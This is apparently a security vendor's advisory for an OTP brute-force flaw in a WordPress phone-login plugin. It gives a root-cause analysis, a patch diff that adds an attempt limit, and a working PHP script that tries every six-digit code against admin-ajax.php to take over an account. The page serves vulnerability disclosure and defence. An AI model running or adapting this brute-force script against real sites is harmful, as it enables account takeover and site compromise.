Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-65570: OTP Login With Phone Number, OTP Verification <= 1.8.70 OTP Brute Force PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 288
Vulnerable Version 1.8.70
Patched Version 1.8.71
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65570: The OTP Login With Phone Number, OTP Verification WordPress plugin (versions <= 1.8.70) contains an OTP brute force vulnerability in its AJAX verification handlers. Unauthenticated attackers can repeatedly guess the 6-digit OTP without any rate limiting or attempt cap, enabling full authentication bypass. The CVSS score of 9.8 reflects the critical impact: account takeover for any user, including administrators, with no prior credentials required. Atomic Edge research confirms the flaw is rooted in missing attempt tracking within the plugin's AJAX endpoints.

Root Cause: The vulnerability exists in `/wp-content/plugins/login-with-phone-number/inc/ajax-handlers.php`. Two separate AJAX actions handle OTP verification: one for login/registration (around line 783) and one for email/phone change on an authenticated account (around line 915). In both code paths, the plugin compares the user-supplied `activation_code` against the stored `$secod` value using loose comparison (`==`) without any attempt counter or lockout mechanism. The stored OTP is a 6-digit number generated by `helper-functions.php` (line 504) and persisted as user meta `activation_code`. Neither the generation function nor the verification handlers enforce a maximum number of failed attempts. An attacker can therefore submit unlimited guesses. The patch introduces a new setting `idehweb_otp_max_attempts` (default 5) and a user meta field `lwp_otp_attempts` to track failures. Before the patch, no such tracking existed, allowing infinite retries.

Exploitation: An unauthenticated attacker targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The vulnerable action names are not explicitly shown in the diff, but they are the ones handling OTP verification for login and for contact changes (likely `lwp_verify_otp` and `lwp_verify_otp_change` based on plugin conventions). The attacker first triggers OTP generation by submitting a phone number or email through the login/registration form (or by initiating a change request if already authenticated). Then the attacker sends repeated POST requests to `admin-ajax.php` with `action=`, `activation_code=`, and the associated identifier (e.g., `username` or `phone_number`). Because the plugin uses `==` for comparison, type juggling may also be possible (e.g., `activation_code=0` could match a stored `0` if the OTP is `0`, though the 6-digit format reduces this). The core attack is simple brute force: a 6-digit code has only 1,000,000 possibilities. With no rate limiting, an attacker can exhaust the space quickly (e.g., 100 requests per second yields completion in under 3 hours). Successful verification returns a valid authentication cookie or allows email/phone change, leading to account takeover.

Patch Analysis: The patch (version 1.8.71) adds attempt limiting in three places. First, `admin-functions.php` introduces a new setting `idehweb_otp_max_attempts` with a default of 5 and a range of 1-20. Second, `ajax-handlers.php` adds logic before OTP verification: it reads the `lwp_otp_attempts` user meta, compares it to the max attempts, and if exceeded, returns a `locked` error. On successful verification, it resets the counter to 0. On failure, it increments the counter and, if the new count meets or exceeds the max, clears the stored `activation_code` (invalidating it). Third, the same logic is applied to the second verification handler for authenticated users. Additionally, `helper-functions.php` resets `lwp_otp_attempts` to 0 whenever a new OTP is generated. This ensures that even if an attacker triggers multiple OTP generations, the attempt counter resets, but each OTP is still protected by the limit. The patch effectively closes the brute force vector by enforcing a strict cap on failed attempts per OTP lifecycle.

Impact: Successful exploitation allows an unauthenticated attacker to bypass OTP verification and authenticate as any user whose phone number or email is known or guessable. This includes administrative accounts, leading to complete site compromise: data theft, malware injection, privilege escalation, and potential remote code execution via plugin/theme editors. The vulnerability also enables account takeover for the email/phone change flow, allowing an attacker to hijack accounts by changing contact details. Given the CVSS score of 9.8 and the lack of any mitigation in versions <= 1.8.70, this is a critical risk for all sites using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/login-with-phone-number/inc/admin-functions.php
+++ b/login-with-phone-number/inc/admin-functions.php
@@ -39,13 +39,13 @@
             plugins_url('/styles/lwp-admin.css',
                 dirname(__FILE__)),
             array(),
-            '1.8.61','all');
+            '1.8.71','all');

         wp_enqueue_style('idehweb-lwp-admin-select2-style',
             plugins_url('/styles/select2.min.css',
                 dirname(__FILE__)),
             array(),
-            '1.8.61','all');
+            '1.8.71','all');
     }

     function admin_footer()
@@ -812,6 +812,18 @@
 		<p class="description">' . esc_html__('enter length of activation code', 'login-with-phone-number') . '</p>';

     }
+
+    function setting_idehweb_otp_max_attempts()
+    {
+        $options = get_option('idehweb_lwp_settings');
+
+        if (!isset($options['idehweb_otp_max_attempts'])) $options['idehweb_otp_max_attempts'] = '5';
+
+        echo '<input type="number" min="1" max="20" name="idehweb_lwp_settings[idehweb_otp_max_attempts]" class="regular-text" value="' . esc_attr($options['idehweb_otp_max_attempts']) . '" />
+		<p class="description">' . esc_html__('max wrong OTP attempts before the code is invalidated and user must request a new one', 'login-with-phone-number') . '</p>';
+
+    }
+
     function setting_idehweb_login_message()
     {
         $options = get_option('idehweb_lwp_settings');
@@ -1169,6 +1181,7 @@
         add_settings_field('idehweb_password_login', __('Enable password login', 'login-with-phone-number'), array(&$this, 'setting_idehweb_password_login'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-form-settings']);
         add_settings_field('idehweb_redirect_url', __('Enter redirect url', 'login-with-phone-number'), array(&$this, 'setting_idehweb_url_redirect'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-general-settings']);
         add_settings_field('idehweb_length_of_activation_code', __('Enter length of activation code', 'login-with-phone-number'), array(&$this, 'setting_idehweb_length_of_activation_code'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-general-settings']);
+        add_settings_field('idehweb_otp_max_attempts', __('Max OTP attempts', 'login-with-phone-number'), array(&$this, 'setting_idehweb_otp_max_attempts'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-general-settings']);
         add_settings_field('idehweb_login_message', __('Enter login message', 'login-with-phone-number'), array(&$this, 'setting_idehweb_login_message'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-general-settings']);
         add_settings_field('idehweb_use_phone_number_for_username', __('use phone number for username', 'login-with-phone-number'), array(&$this, 'idehweb_use_phone_number_for_username'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel lwp-tab-general-settings']);
         add_settings_field('idehweb_default_username', __('Default username', 'login-with-phone-number'), array(&$this, 'setting_default_username'), 'idehweb-lwp', 'idehweb-lwp', ['label_for' => '', 'class' => 'ilwplabel related_to_upnfu lwp-tab-general-settings']);
--- a/login-with-phone-number/inc/ajax-handlers.php
+++ b/login-with-phone-number/inc/ajax-handlers.php
@@ -783,13 +783,28 @@

                 }
             } else {
+                $lwp_options = get_option('idehweb_lwp_settings');
+                $max_attempts = isset($lwp_options['idehweb_otp_max_attempts']) ? (int) $lwp_options['idehweb_otp_max_attempts'] : 5;
+                if ($max_attempts < 1) $max_attempts = 5;
+                $attempts = (int) get_user_meta($username_exists, 'lwp_otp_attempts', true);
+
+                if ($attempts >= $max_attempts) {
+                    wp_send_json([
+                        'success' => false,
+                        'locked' => true,
+                        'message' => __('Too many wrong attempts. Please request a new code and try again.', 'login-with-phone-number')
+                    ]);
+                }
+
                 if (empty($activation_code)) {
                     wp_send_json([
                         'success' => false,
                         'message' => __('activation_code is empty!', 'login-with-phone-number')
                     ]);
                 }
+
                 if ($activation_code == $secod) {
+                    update_user_meta($username_exists, 'lwp_otp_attempts', 0);
                     // First get the user details
                     $user = get_user_by('ID', $username_exists);

@@ -840,6 +855,11 @@


                 } else {
+                    $attempts++;
+                    update_user_meta($username_exists, 'lwp_otp_attempts', $attempts);
+                    if ($attempts >= $max_attempts) {
+                        update_user_meta($username_exists, 'activation_code', '');
+                    }
                     wp_send_json([
                         'success' => false,
                         'phone_number' => $phone_number,
@@ -895,7 +915,23 @@
             }

             $secod = sanitize_text_field(wp_unslash($_GET['secod']));
+
+            $lwp_options = get_option('idehweb_lwp_settings');
+            $max_attempts = isset($lwp_options['idehweb_otp_max_attempts']) ? (int) $lwp_options['idehweb_otp_max_attempts'] : 5;
+            if ($max_attempts < 1) $max_attempts = 5;
+            $attempts = (int) get_user_meta($current_user->ID, 'lwp_otp_attempts', true);
+
+            if ($attempts >= $max_attempts) {
+                update_user_meta($current_user->ID, 'activation_code', '');
+                update_user_meta($current_user->ID, 'lwp_otp_attempts', 0);
+                wp_send_json([
+                    'success' => false,
+                    'message' => __('Too many attempts. Please request a new code.', 'login-with-phone-number')
+                ]);
+            }
+
             if ($activation_code == $secod) {
+                update_user_meta($current_user->ID, 'lwp_otp_attempts', 0);

                 //remove this email from other user
                 $this->remove_email_from_all_users($temporary_email);
@@ -915,6 +951,11 @@


             } else {
+                $attempts++;
+                update_user_meta($current_user->ID, 'lwp_otp_attempts', $attempts);
+                if ($attempts >= $max_attempts) {
+                    update_user_meta($current_user->ID, 'activation_code', '');
+                }
                 wp_send_json([
                     'success' => false,
                     'email' => $email,
--- a/login-with-phone-number/inc/frontend-functions.php
+++ b/login-with-phone-number/inc/frontend-functions.php
@@ -137,21 +137,21 @@
         );

         wp_enqueue_style('idehweb-lwp', plugins_url('/styles/login-with-phonenumber.css', dirname(__FILE__)),
-            array(), '1.8.61', 'all');
+            array(), '1.8.71', 'all');


-        wp_enqueue_script('idehweb-lwp-validate-script', plugins_url('/scripts/jquery.validate.js', dirname(__FILE__)), array('jquery'), '1.8.61', true);
+        wp_enqueue_script('idehweb-lwp-validate-script', plugins_url('/scripts/jquery.validate.js', dirname(__FILE__)), array('jquery'), '1.8.71', true);


-        wp_enqueue_script('idehweb-lwp', plugins_url('/scripts/login-with-phonenumber.js', dirname(__FILE__)), array('jquery'), '1.8.61', true);
+        wp_enqueue_script('idehweb-lwp', plugins_url('/scripts/login-with-phonenumber.js', dirname(__FILE__)), array('jquery'), '1.8.71', true);


         if ($options['idehweb_use_custom_gateway'] == '1' && in_array('firebase', $options['idehweb_default_gateways'])) {
-            wp_enqueue_script('lwp-google-recaptcha', 'https://www.google.com/recaptcha/api.js', array(), '1.8.61', true);
-            wp_enqueue_script('lwp-firebase', 'https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js', array(), '1.8.61', true);
-            wp_enqueue_script('lwp-firebase-auth', 'https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js', array(), '1.8.61', true);
+            wp_enqueue_script('lwp-google-recaptcha', 'https://www.google.com/recaptcha/api.js', array(), '1.8.71', true);
+            wp_enqueue_script('lwp-firebase', 'https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js', array(), '1.8.71', true);
+            wp_enqueue_script('lwp-firebase-auth', 'https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js', array(), '1.8.71', true);

-            wp_enqueue_script('lwp-firebase-sender', plugins_url('/scripts/firebase-sender.js', dirname(__FILE__)), array('jquery'), '1.8.61', true);
+            wp_enqueue_script('lwp-firebase-sender', plugins_url('/scripts/firebase-sender.js', dirname(__FILE__)), array('jquery'), '1.8.71', true);

             $localize['firebase_api'] = $options['idehweb_firebase_api'];
         }
@@ -186,13 +186,13 @@

         wp_enqueue_style('lwp-intltelinput-style', plugins_url('/styles/intlTelInput.min.css', dirname(__FILE__)),
             array(),
-            '1.8.61',
+            '1.8.71',
             'all');
         wp_add_inline_style('lwp-intltelinput-style', '.iti { width: 100%; }#lwp_username{font-size: 20px;}');
 //
         wp_enqueue_script('lwp-intltelinput-script',
             plugins_url('/scripts/intlTelInput.min.js', dirname(__FILE__)),
-            array(), '1.8.61', true);
+            array(), '1.8.71', true);
 // Inline initialization
         wp_add_inline_script(
             'lwp-intltelinput-script',
--- a/login-with-phone-number/inc/helper-functions.php
+++ b/login-with-phone-number/inc/helper-functions.php
@@ -504,6 +504,7 @@

         update_user_meta($user_id, 'activation_code', $six_digit_random_number);
         update_user_meta($user_id, 'activation_code_timestamp', time());
+        update_user_meta($user_id, 'lwp_otp_attempts', 0);
         if ($send_email) {
             $wp_mail = wp_mail($contact, __('Activation code', 'login-with-phone-number'), __('your activation code: ', 'login-with-phone-number') . $six_digit_random_number);
             return $wp_mail;
--- a/login-with-phone-number/login-with-phonenumber.php
+++ b/login-with-phone-number/login-with-phonenumber.php
@@ -3,7 +3,7 @@
 Plugin Name: OTP Login With Phone Number, OTP Verification
 Plugin URI: https://idehweb.com/product/login-with-phone-number-in-wordpress/
 Description: Passwordless OTP login for WordPress. Login or register with phone number via SMS or Firebase. Compatible with WooCommerce. GDPR-compliant.
-Version: 1.8.70
+Version: 1.8.71
 Author: Hamid Alinia - idehweb
 Author URI: https://idehweb.com/
 Text Domain: login-with-phone-number

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65570 - OTP Login With Phone Number, OTP Verification <= 1.8.70 - OTP Brute Force

// This PoC demonstrates brute forcing the OTP verification AJAX endpoint.
// It assumes the attacker knows a valid username or phone number and that an OTP has been generated.
// In a real attack, the OTP would be requested first via the plugin's login form.

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'admin'; // Target username or phone number
$max_attempts = 1000000; // 6-digit OTP space is 1,000,000

// The AJAX action name for OTP verification is not directly visible in the diff.
// Based on plugin conventions, it is likely 'lwp_verify_otp' or similar.
// We'll use a placeholder; adjust as needed.
$ajax_action = 'lwp_verify_otp';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

// Loop through possible OTPs (000000 to 999999)
for ($i = 0; $i < $max_attempts; $i++) {
    $otp = str_pad((string)$i, 6, '0', STR_PAD_LEFT);
    $post_data = [
        'action' => $ajax_action,
        'activation_code' => $otp,
        'username' => $username,
        // Additional parameters may be required by the handler (e.g., 'phone_number', 'email')
    ];

    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    $response = curl_exec($ch);

    if ($response === false) {
        echo 'cURL error: ' . curl_error($ch) . "n";
        break;
    }

    $json = json_decode($response, true);
    if (isset($json['success']) && $json['success'] === true) {
        echo "[+] Success! OTP is: $otpn";
        echo "Response: $responsen";
        break;
    } else {
        // Optionally print failed attempts
        // echo "[-] Tried $otp: " . ($json['message'] ?? 'no message') . "n";
    }

    // Small delay to avoid overwhelming the server (optional)
    // usleep(10000); // 10ms
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.